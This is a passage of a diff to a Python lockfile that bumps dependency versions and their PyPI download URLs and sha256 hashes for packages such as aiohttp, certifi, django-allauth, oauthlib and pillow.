{ url = "https://files.pythonhosted.org/packages/49/ed/3b203fa6de1b338c14acdc06bf6ca9b043b7944f005966958c2ced932cde/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043", size = 1725210, upload-time = "2026-07-23T01:54:24.129Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/28/b7/1c2aab8c706436dcc28598452488ac9cd7c409da815237c28c27d58993e6/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427", size = 1764848, upload-time = "2026-07-23T01:54:27.973Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/54/50/94c28f08b131c4bf10984ea2c7a536c9920608bb2d6e7f95642c30cc87b7/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d", size = 1777102, upload-time = "2026-07-23T01:54:31.775Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/13/d4/e7d09ba7d345fb2d74440fd2fa033c5e079fac05552927705986f41a364f/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0", size = 1580205, upload-time = "2026-07-23T01:54:34.518Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/84/072a91d68e1e1eb587985b54baab94221277f877e8ef274fc213a0ceae28/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d", size = 1797219, upload-time = "2026-07-23T01:54:36.995Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e0/eb/aad34e897e668424d6e995da5dff8a4a09af93363d3392488772957a63aa/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19", size = 1768629, upload-time = "2026-07-23T01:54:40.103Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b6/2b/6bb88ddba0fecd9122aa3ebcad25996cf6c083a4a7040dbb3a4f97972af6/aiohttp-3.14.3-cp312-cp312-win32.whl", hash = "sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559", size = 451481, upload-time = "2026-07-23T01:54:42.547Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/76/9b/f2f8f108da17ecef2cc3efc424e8b7ad3782b1a8360f7b8eae8ced84f6ea/aiohttp-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a", size = 476845, upload-time = "2026-07-23T01:54:44.853Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3e/44/28dac80a8941b604f4da10ce21097614ca1bf905ce93dca28d8d7de9c1e7/aiohttp-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c", size = 448050, upload-time = "2026-07-23T01:54:47.087Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/f3/8997f18890a92c79f77fcfbb4f78ca17c2d4ab109e9eb6d31b4e9de194a0/aiohttp-3.14.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d51db97c96384fbfcaf8f4c65922183a68b94f891c3c10c862ef5f6df2adbb1f", size = 832358, upload-time = "2026-10-11T00:59:42.195Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8e/42/084651e9efb5cadb99265f786df60f2a7b353cead7bfd2c87003cb4867ad/aiohttp-3.14.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ae53924aa853a7a2ca20ed4142c7c6b56338e4d4cd999e2980075b9efc2e257a", size = 559636, upload-time = "2026-10-11T00:59:43.677Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3d/fe/92838944e601f0fe195fd3f3ada37e29fbee3d19bfd323fe15937ec79d36/aiohttp-3.14.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2c473a355f9239efcb72c92d5abfd8fcdb0cc78c8e9af607e72ca12dbb36593", size = 552588, upload-time = "2026-10-11T00:59:45.592Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8f/b8/dd9b95c5c20ceae1b47738e656bd79e9883e3117a9cc8b143901eb604e9a/aiohttp-3.14.5-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:32e8fa6644e541fcd7e02430588c7fc93b602c1778ea0bc345505db76b61cfb4", size = 1928224, upload-time = "2026-10-11T00:59:47.294Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c6/47/70010cd2ba8746968d53d433ff328c33f06a66c99da5f3de759c64a6b2eb/aiohttp-3.14.5-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:579f97d5120f2971876d2ddca2968135f6944d00c44c3a6590ad7d86ca9b403f", size = 1877674, upload-time = "2026-10-11T00:59:49.472Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c5/a1/b026f071dbd87f0bdba86b92d47e46f3899e3ad7143b6e0fe7e7887090b4/aiohttp-3.14.5-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:24409db442e2fb6e766bc7f3943851a8381dec3098140e43bb2e843b79e31b12", size = 1985850, upload-time = "2026-10-11T00:59:51.296Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/36/d1/f7b6f6f8c3cb5a71b53baeddc2e70c224c28b12a23a55c42994c504019b7/aiohttp-3.14.5-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5e8f97c0488ffda3082766ac0f2c8150a9a58c4d05788330e479cfd449b37939", size = 2105471, upload-time = "2026-10-11T00:59:53.191Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/42/74/2a2b22953de15c6c8a80debf26db3047e4e8a5a5db6dd7c2c6c01eec0605/aiohttp-3.14.5-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50a195903119008fe9cc68710535eb37f556ffffd6a7759afe70a2c145587045", size = 1929915, upload-time = "2026-10-11T00:59:55.609Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/33/ad/f80e8d33933d0eacd0217efa3b7fb32c9f48ed480ed0db53cf9948bf474f/aiohttp-3.14.5-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0133c3c3b54a0bf1e71fa5c1ad95c93f07fd54e24ef1fe182f5122e1573d2bf1", size = 1773832, upload-time = "2026-10-11T00:59:57.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/04/a4/0273d239f3e3bb69438f209c64c82e1f98dc60d5db264795e41f7dd05dcb/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c172db893e516e1358e65a95ee20b7ce7173963eefe318b6ab2a2220688b999e", size = 1901001, upload-time = "2026-10-11T01:00:00.605Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/ed/7dd439d26c654645bc34ca3c9a822fc11c1c51801fed1cefdfe1cc41c1f6/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:f2a7966bda23dd85051f1661ce0ace38d6890e05ec6c357ecae9d2479cba377e", size = 1907218, upload-time = "2026-10-11T01:00:02.699Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/32/dd/86249c3b8248562a17fd3e22ee0c164378d65766f01aceef62cf52783710/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:4887d130a7bbfed3a85493bb5a25e5b5b558d40c1d986dd16970d2bb26d63793", size = 1958650, upload-time = "2026-10-11T01:00:04.851Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bc/0b/ca4d53d68f683ce195807fd0aeb063bf6d1c6b39343fff234c9524e8d5a9/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:225c579c23b68b343cccea27a7e06e3bd8ec23a09c30b427eb3f1e4ca6239b20", size = 1760057, upload-time = "2026-10-11T01:00:06.978Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/42/005437ffd7fa56c2ce3347add40404b654a32754ce91f2e2a14b9e5ab2bc/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ab52d8f1fc1b64821c1fbad64a647ed6203627004059a6d1ed4f0858a1499703", size = 1978081, upload-time = "2026-10-11T01:00:08.868Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/03/71/3a5b66fe1b7b23d3c6524350817ed55de5feb7fbb4cccba7cbe044d118dd/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:cb131d775a1573c1aee66656bd78b023577bbdb6cb8349a07773bd4f73e68a6e", size = 1922954, upload-time = "2026-10-11T01:00:11.035Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/69/84/d08a554f281d42fd7c6b2b6dd7738f3e3a7a9f657ddd87e11ca2091cdfe3/aiohttp-3.14.5-cp311-cp311-win32.whl", hash = "sha256:e87046c8ff77a8decdb6a41d8ab25824b47531b2da933aeab0c1e21c7acff329", size = 488101, upload-time = "2026-10-11T01:00:12.933Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0f/15/52b5e65f02b33686ae49f1518548ae4f5a7adaf31d9d3c54fa12a143137b/aiohttp-3.14.5-cp311-cp311-win_amd64.whl", hash = "sha256:6f275c11d1aa6d4c458e05a68be084efe3c55a113d99e3f46a318098e52948fc", size = 512575, upload-time = "2026-10-11T01:00:14.743Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/b9/bb75012635f3defb0f7cbb7c4ae391e36bb9cb3fbdca3b9944e2ebebf743/aiohttp-3.14.5-cp311-cp311-win_arm64.whl", hash = "sha256:b032a0023eb41d768ce77d83210ab2a3c389bc0b09313273c7e1eca48c10a755", size = 493179, upload-time = "2026-10-11T01:00:16.961Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/94/6ba86efddcb616c811b40e6a0dfdd862738f647e4e3860a961075d5e9ed8/aiohttp-3.14.5-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:df37b620684e19b5e25724412518ccafc3b1a49cdac706fdbd2f983fad943450", size = 817499, upload-time = "2026-10-11T01:00:18.901Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5e/e1/7bca6d84dabd228aa8eb4b7f9feac2586aaa9be5505d7d65bf287a615c43/aiohttp-3.14.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ef60869969180ec2464f1349aff07138ae35ca2200f0946cb3552e49e8f301a8", size = 549467, upload-time = "2026-10-11T01:00:20.854Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/64/91/11b89f45ca486252dd67dd5f3231fec04bf5518da39a95cb3997619f17fb/aiohttp-3.14.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d079c0a0135c36e7beb6f1c88087c8f108dc5891cdd0b5eafa778421bda70ed2", size = 548067, upload-time = "2026-10-11T01:00:22.659Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/22/ff/c6615806c14aab34f82b9424ccde8ce6e417315fd57ce1c5b4d4747888e1/aiohttp-3.14.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:abfda5cb094a829f7bc25216a32f7db2e85cc65bd59910f8e7b40b3d9b224764", size = 1896245, upload-time = "2026-10-11T01:00:24.638Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/39/b2/25a8c971ae6a92c8394d77e42422d7f38989e05cf41a5ceb92d73d67ab7e/aiohttp-3.14.5-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:9cc882cf8619109583c906b4d4a85d6a111a98afa34b7a450d1e08118d016820", size = 1872180, upload-time = "2026-10-11T01:00:26.838Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2f/d5/99f93ea36cc5205e47c1e5a803e087f2ad21b5430b5db2e942cb6e988a37/aiohttp-3.14.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7457580535e019e1247ea35d6a02bf081ad30c26d0cbc210c93f6c3ab67a0835", size = 1937261, upload-time = "2026-10-11T01:00:28.74Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/a6/9ac9c9e6695040bd73d2584a1b59a9388f6433c76d5294a7bf591e21ffe5/aiohttp-3.14.5-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5ed596aedb9c42afd3fe0aae3117725378ac73d2cc5ddc735056fbdb96c5d02", size = 2064994, upload-time = "2026-10-11T01:00:30.623Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/da/e4/aa172eb534b7f02f1f8ff1c3213347eaf3cf218db91a727c6863c22f1035/aiohttp-3.14.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:20f085697d7e911f1f73c43ed03fafbed1e7121797e2eb5428efa80398060584", size = 1919630, upload-time = "2026-10-11T01:00:32.548Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/06/7d/4eedafc5bababa8932636c141e346806966eade12c0b7e5946d43bf8218b/aiohttp-3.14.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:74b0a9c8270f9b0a11410e124ff8d4f18bfc1f1837440ec84da5ae7b50927b5d", size = 1710016, upload-time = "2026-10-11T01:00:34.471Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/94/eee018537ba19da0ceb2ac79cab83faed4ac49568e08376e2799043f2538/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:19e2ba471507c34f8252402ab50f5ab512398b9ea8c8f1cb26beb3f75793ba30", size = 1858112, upload-time = "2026-10-11T01:00:36.581Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/68/76/354653a306547238f3427283905972d796ba7c292ba9977abec9f2b6f260/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:d418ce2af40c6bb685b3f663e9e8de27cb0a22431d8e88a167348d7f01878073", size = 1896371, upload-time = "2026-10-11T01:00:38.478Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/ec/63e8c7136b570e356345ad3174e3820fdc973ea10712cb6c649bf875755a/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:70cb4008ac2ed1e0ca9e824deb4b53d3aa0d939109698ebf1e723a84337bd794", size = 1905836, upload-time = "2026-10-11T01:00:40.527Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/57/d8/11365bda144b127928cd42533d0eff78a55613c9e28f81941bd6630ea887/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:a23fe35d776bc03cb495938b9594450d047e3bc08c5255315a82323e9cb7d2dd", size = 1696534, upload-time = "2026-10-11T01:00:42.686Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2f/3d/82df0461b18e00b2998f205c03e0d3010222478c43640aceb8e03dcd7e8f/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3e0eb43bed3c6801a6cee315195377789e90b2a72c2277a475b578535312488d", size = 1933970, upload-time = "2026-10-11T01:00:44.71Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/03/ad/6ddfe0aacd931c17b53533336d97e9d11a98b96d6ae815a9da0b19f82ccf/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be7dd397d64ca3e1869626fa9318aaebb54b7bf93bc72d7a205448d83e4f748", size = 1899501, upload-time = "2026-10-11T01:00:46.629Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/8e/189bdd9ae4793059bb09f6dc880f211a6c6c7859cebcbf33912dbfab7dd7/aiohttp-3.14.5-cp312-cp312-win32.whl", hash = "sha256:eb324e2009fb54db30a071dad7caf6998ee2879c4704007efb244514dad1fec1", size = 480370, upload-time = "2026-10-11T01:00:48.468Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ae/ce/1f08114679d49655b30a6e0a29858375c94b82c1de1a0bd0a20c2fee8b02/aiohttp-3.14.5-cp312-cp312-win_amd64.whl", hash = "sha256:2cc38a4f2b516bef1714e690df87a0e043faf1a7693c82d860091684453d5111", size = 506141, upload-time = "2026-10-11T01:00:50.272Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/79/d4/c7b4f60b16a1b7e43249fa9031ae05e7e8c341ba4b7d1866f914dafeaa0e/aiohttp-3.14.5-cp312-cp312-win_arm64.whl", hash = "sha256:a63afd1f757de949028387e65a7127b61ad0f775432dbb0e62816ae619fe69ac", size = 488108, upload-time = "2026-10-11T01:00:52.321Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/68/30/173960c42b05a6c59f7558e4b12a4b0d9ba376cf6aa9bde7f9e08a30ca8d/aiohttp-3.14.5-py3-none-any.whl", hash = "sha256:efc21a454892828368b11c2c780de0ff8bc991f73f6b99c6b66e56205470929b", size = 279517, upload-time = "2026-10-11T01:05:08.523Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1848,11 +1849,11 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "certifi"
|
||||
version = "2026.1.4"
|
||||
version = "2026.10.19"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size = 137598, upload-time = "2026-10-20T02:24:16.604Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size = 136464, upload-time = "2026-10-20T02:24:15.072Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -2344,15 +2345,15 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "django-allauth"
|
||||
version = "65.15.0"
|
||||
version = "65.19.7"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "asgiref" },
|
||||
{ name = "django" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/84/c1/d3385f4c3169c1d6eea3c63aed0f36af51478c1d72e46db12bb1a08f8034/django_allauth-65.15.0.tar.gz", hash = "sha256:b404d48cf0c3ee14dacc834c541f30adedba2ff1c433980ecc494d6cb0b395a8", size = 2215709, upload-time = "2026-03-09T13:51:28.675Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/c4/33/7c8f8fc85f4ee644ee3acb20c1fe4d04516298ab5903f812e1556b65f947/django_allauth-65.19.7.tar.gz", hash = "sha256:c7749551b659ca954e483f6f634cd0c262d65dd8144f5219b3a31cba0426e981", size = 2296178, upload-time = "2026-10-01T12:35:24.152Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/75/b8/c8411339171bd8bc075c09ef190fb42195e9a2149e5c5026e094fe62fce0/django_allauth-65.15.0-py3-none-any.whl", hash = "sha256:ad9fc49c49a9368eaa5bb95456b76e2a4f377b3c6862ee8443507816578c098d", size = 2022994, upload-time = "2026-03-09T13:51:19.711Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/30/c4/a42cc4439b18b8d2767f8c54999e011b9f620a478806ed265baed7c3dc01/django_allauth-65.19.7-py3-none-any.whl", hash = "sha256:8899377f38afabf10445c9ee2f808a730304ca8aecc540657d51a8b3928283d6", size = 2076429, upload-time = "2026-10-01T12:35:20.844Z" },
|
||||
]
|
||||
|
||||
[package.optional-dependencies]
|
||||
@@ -2509,14 +2510,14 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "djangorestframework"
|
||||
version = "3.15.2"
|
||||
version = "3.18.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "django" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/2c/ce/31482eb688bdb4e271027076199e1aa8d02507e530b6d272ab8b4481557c/djangorestframework-3.15.2.tar.gz", hash = "sha256:36fe88cd2d6c6bec23dca9804bab2ba5517a8bb9d8f47ebc68981b56840107ad", size = 1067420, upload-time = "2024-06-19T07:59:32.891Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8d/b2/1cee76b188301f7d03169ca77fab2b3d3ec5d01b3469189f944af2d7f11a/djangorestframework-3.18.3.tar.gz", hash = "sha256:446a9b352e7eff630421ab3f2328bd2401b109a9470afa4a31189994911ed030", size = 923563, upload-time = "2026-10-06T21:33:51.521Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/b6/fa99d8f05eff3a9310286ae84c4059b08c301ae4ab33ae32e46e8ef76491/djangorestframework-3.15.2-py3-none-any.whl", hash = "sha256:2b8871b062ba1aefc2de01f773875441a961fefbf79f5eed1e32b2f096944b20", size = 1071235, upload-time = "2024-06-19T07:59:26.106Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/dd/de5f4543765bec94e036a5e9593a42f8fa7efec8de78eb56b9ca834385f3/djangorestframework-3.18.3-py3-none-any.whl", hash = "sha256:8544bb674846731b1e3c9b309236ee1dc412905a0aa725be2ec193ca950a7d12", size = 903986, upload-time = "2026-10-06T21:33:49.917Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -2549,11 +2550,11 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "dnspython"
|
||||
version = "2.8.0"
|
||||
version = "2.9.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ef/4a/50822184bd67cc6493f0fb6a880749158fcd31ab3fa07409acfd91f9fc85/dnspython-2.9.0.tar.gz", hash = "sha256:b44dc6b18f07a8b1c56676a19fbfdb5209415b046a9cece286baafa87ff3f7f1", size = 423560, upload-time = "2026-10-09T00:07:24.352Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/02/cdcc9b7c051786a103c3b09e1003a82fa0c66bcb91ffbdabcfbf7b4163b9/dnspython-2.9.0-py3-none-any.whl", hash = "sha256:9a4aedb833c3c1b49214d04d44d3032ab7a9135f7c1d29a549b4ff78fd82fda9", size = 354822, upload-time = "2026-10-09T00:07:22.622Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -4418,11 +4419,11 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "oauthlib"
|
||||
version = "3.3.1"
|
||||
version = "4.0.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/0b/5f/19930f824ffeb0ad4372da4812c50edbd1434f678c90c2733e1188edfc63/oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9", size = 185918, upload-time = "2025-06-19T22:48:08.269Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7a/d8/a1bcc8ba112a627f8ffbdc212a78ce18d3ac07e91a5ca65d27918eee25a1/oauthlib-4.0.0.tar.gz", hash = "sha256:efb274799819440f95b4ab3b818869f1ce9ae26c5beacba0201d1a1b76b54f86", size = 187232, upload-time = "2026-09-28T06:01:18.77Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", size = 160065, upload-time = "2025-06-19T22:48:06.508Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d9/f4/78229a1066068ca14fc60fb26cf7381cabe4382261392b90e5f9552722d4/oauthlib-4.0.0-py3-none-any.whl", hash = "sha256:624c28c13a0a59cabf9747dfa52af63be3e512a7f2714df16e91b5b3a145e6cd", size = 159715, upload-time = "2026-09-28T06:01:17.008Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -4636,33 +4637,38 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
version = "13.0.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ce/a4/9cc30690a394a8305e8be4c9036aa16d0dfddadd09079860b582f562496d/pillow-13.0.0.tar.gz", hash = "sha256:cdcd1ba258178f7356d74170c9a81ba4eab6a5d55748bc402a5a2a6fe6be3510", size = 47058631, upload-time = "2026-10-16T22:18:09.718Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3b/2d/ede717bc1144f63886c21fd349bb95860b0d1a21149ff16f2bb362b612b6/pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd", size = 6934408, upload-time = "2026-07-01T11:53:53.487Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/48/9c58b685e69d49c31af6c8eb9012055fab7e665785165c84796e2c73ce72/pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c", size = 6337160, upload-time = "2026-07-01T11:53:55.457Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ff/fa/dc2a5c0ba6df93f67c31d34b808b7ce440b40cdbf96f0b81cde1d1e6fa93/pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5", size = 7045172, upload-time = "2026-07-01T11:53:57.736Z" },
|
||||
